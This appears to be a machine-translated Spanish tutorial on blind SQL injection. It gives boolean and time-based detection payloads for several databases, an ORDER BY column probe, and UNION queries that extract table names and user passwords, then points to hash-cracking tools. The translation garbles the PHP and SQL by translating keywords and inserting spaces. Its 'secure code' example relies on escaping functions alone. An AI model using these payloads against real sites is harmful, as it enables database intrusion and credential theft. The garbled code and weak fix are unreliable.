Tutorial de técnicas de inyección SQL ciegas

Tutorial de técnicas de inyección SQL ciegas

¿Qué es la inyección SQL??

La inyección SQL es un tipo de ataque de base de datos en el que un atacante intenta robar información de la base de datos de una aplicación web. Esto incluso puede dar lugar a la ejecución de código remoto dependiendo del entorno de aplicaciones web y la versión de base de datos.

La inyección de SQL ocurre debido a la mala desinfección de la entrada del usuario. Si toma la entrada del usuario en algún lenguaje de codificación (PHP, ASP.Net) y pasarlo directamente a la base de datos del servidor sin aplicar ningún filtro en la entrada, esto puede dar lugar a la vulnerabilidad de inyección SQL.

Por ejemplo, el siguiente código PHP es vulnerable al ataque de inyección SQL porque está pasando directamente la entrada del usuario a la base de datos. El atacante puede crear su propia consulta de base de datos maliciosa para extraer datos de la base de datos.

// El UserInput se almacena en la variable de identificación
$ id = $ _get ['id'];
// El UserInput se ejecuta directamente en la base de datos
$ getId = "Seleccione First_Name, Last_Name de Users donde user_id = '$ id'";
// En caso de error o éxito, los resultados se devuelven al usuario
$ resultado = mysql_query ($ getid) o morir ('
' . Error de MySQL() . '
');
$ num = mysql_numrows ($ resultado);

Por otro lado, se da un ejemplo de código seguro de dicho código para interactuar con la base de datos. Toma la entrada del usuario y filtra los caracteres maliciosos de él, luego la pasa a la base de datos.

$ id = $ _get ['id'];
$ id = StripsLashes ($ id);
$ id = mysql_real_escape_string ($ id);

Inyección SQL normal vs ciega

Inyección SQL normal

En la inyección normal de SQL, si un atacante intenta colocar una sola cotización (') como entrada, cuando esta cotización única se ejecuta en la base de datos, la base de datos responde con un error. El error se imprime en el navegador del atacante.

El código responsable de este error es

// Si la base de datos responde con un error, la función "o di ()" se ejecuta
Para imprimir el error
$ resultado = mysql_query ($ getid) o morir ('
' . Error de MySQL() . '
');

En la inyección SQL normal, el atacante puede ver los resultados del error y es fácil de identificar y explotar.

Inyección de SQL ciega

En el caso de la inyección de SQL ciega, cuando se ejecuta una consulta maliciosa como una sola cotización, el error de la base de datos no se muestra en el navegador del atacante o se muestra de una manera muy genérica que el atacante no puede identificar fácilmente.

El código de backend responsable de esto se proporciona a continuación

$ result = mysql_query ($ getId); // eliminado 'o morir' para suprimir los errores de MySQL

En la inyección ciega de SQL, el atacante no puede ver los resultados completos, por lo tanto, este tipo de SQLI es difícil de identificar y explotar, pero tiene el mismo nivel de riesgo que el SQLI normal.

Técnicas para detectar inyección ciega de SQL

Si bien la inyección SQL normal se puede detectar enviando una cotización única (') como entrada y examinando el error de salida, la inyección SQL ciega no se puede detectar utilizando esta técnica porque no muestra ningún error SQL. Hay muchas técnicas para detectar una inyección ciega de SQL, algunas de ellas se dan de la siguiente manera

Detección basada en verdadero y falso

Una de las características de las bases de datos, incluida MySQL, es el comportamiento diferente de las declaraciones verdaderas y falsas. Incluso si la base de datos no muestra ningún error, podemos decidir usar el uso de declaraciones verdaderas y falsas. Considere el siguiente escenario,

La siguiente página es vulnerable a la inyección ciega de SQL, dándole una declaración verdadera mostrará todas las entradas en la base de datos

1 'o 1 = 1#

Dar una consulta falsa como entrada no mostrará ningún dato.

1 'o 1 = 2#

Incluso la página web no muestra ningún error, la diferencia entre las dos páginas dice que nuestras consultas se están ejecutando con éxito en la base de datos.

Detección basada en el tiempo

Hay una función en bases de datos que incluyen MySQL, MS-SQL y otros para retrasos. Podemos usar la función Sleep () en nuestra consulta, si la respuesta de la base de datos es lenta, eso significa que nuestra consulta se ejecuta con éxito y la página web es vulnerable a la inyección ciega de SQL.

1 'y dormir (15)#

Hay otro "punto de referencia" de la función que consume mucho tiempo que se puede utilizar para retrasar la respuesta de la base de datos

1 'y Benchmark (10000000, Sha1 (1337))#

La línea anterior ejecutará la función sha1 () 10000000 veces en la base de datos, que agregará una cantidad significativa de retraso en la respuesta.

Inyección SQL ciega basada en el tiempo en otras bases de datos

MS SQL: ID = 1; Waitfor Delay '0: 0: 10'-

Oracle SQL: Y [randnum] = dbms_pipe.Recibe_message ('[Randstr]', [Sleeptime])

PostgreSQL: Y [randnum] = (seleccione [randnum] de pg_sleep ([sleeptime]))

Sqlite: Y [randnum] = como ('abcdefg', superior (hex (randomblob ([sleeptime] 0000000000/2)))))

Extraer información de la base de datos

El primer paso de extracción de la base de datos es determinar los números de columna en la base de datos. Luego intente encontrar columnas vulnerables para extraer más datos.

La inyección ciega de SQL se comporta de manera diferente con diferentes números de columna en la consulta "Orden por".

1 'pedido por 1#

La declaración anterior es verdadera porque al menos 1 columna siempre existe en una base de datos. Ahora intente con un número muy grande.

1 'pedido por 10000#

La respuesta de la base de datos es diferente a la anterior. Ahora intente con 2 columnas.

La declaración funcionó, eso significa que la base de datos tiene 2 o más columnas. Ahora intente con 3 columnas.

1 'pedido por 3#

La base de datos no ha enviado ninguna respuesta, lo que significa que la base de datos solo tiene 2 columnas. Ahora intentaremos descargar la lista de tablas en la base de datos, usaremos la siguiente consulta para eso

1 'Union All Select 1, Group_concat (table_name) de Information_Schema.
Tablas donde table_schema = database ()#

Hay dos tablas en la base de datos de backend "Libro de visitas y usuarios". La tabla de "usuarios" puede contener nombres de usuario y contraseñas. Para extraer los nombres de la columna de la tabla, inserte la siguiente consulta.

1 'Union All Select 1, Group_concat (column_name) de Information_Schema.
columnas donde table_schema = database ()#

Ahora hemos extraído los nombres de la columna, esto incluye columnas de usuario y contraseña. Estas columnas almacenan los nombres de usuario de los clientes y sus contraseñas.

Ahora intentaremos extraer los datos utilizando la siguiente consulta

1 'Union todo Seleccionar 1, Group_concat (usuario, contraseña) de los usuarios#

Y así es como puede explotar la inyección de SQL ciega sin depender de los errores. Las contraseñas de salida se hashan la mayor parte del tiempo, que se pueden descifrar utilizando herramientas como John the Ripper o hashcat.

Conclusión:

La inyección de SQL ciega es el tipo de SQLI que no muestra errores de la base de datos o responde con un mensaje muy genérico. Por eso es muy difícil identificar la vulnerabilidad de inyección SQL ciega en una página web. Una vez detectado, puede explotarlo fácilmente por proceso manual o automatizado utilizando SQLMAP.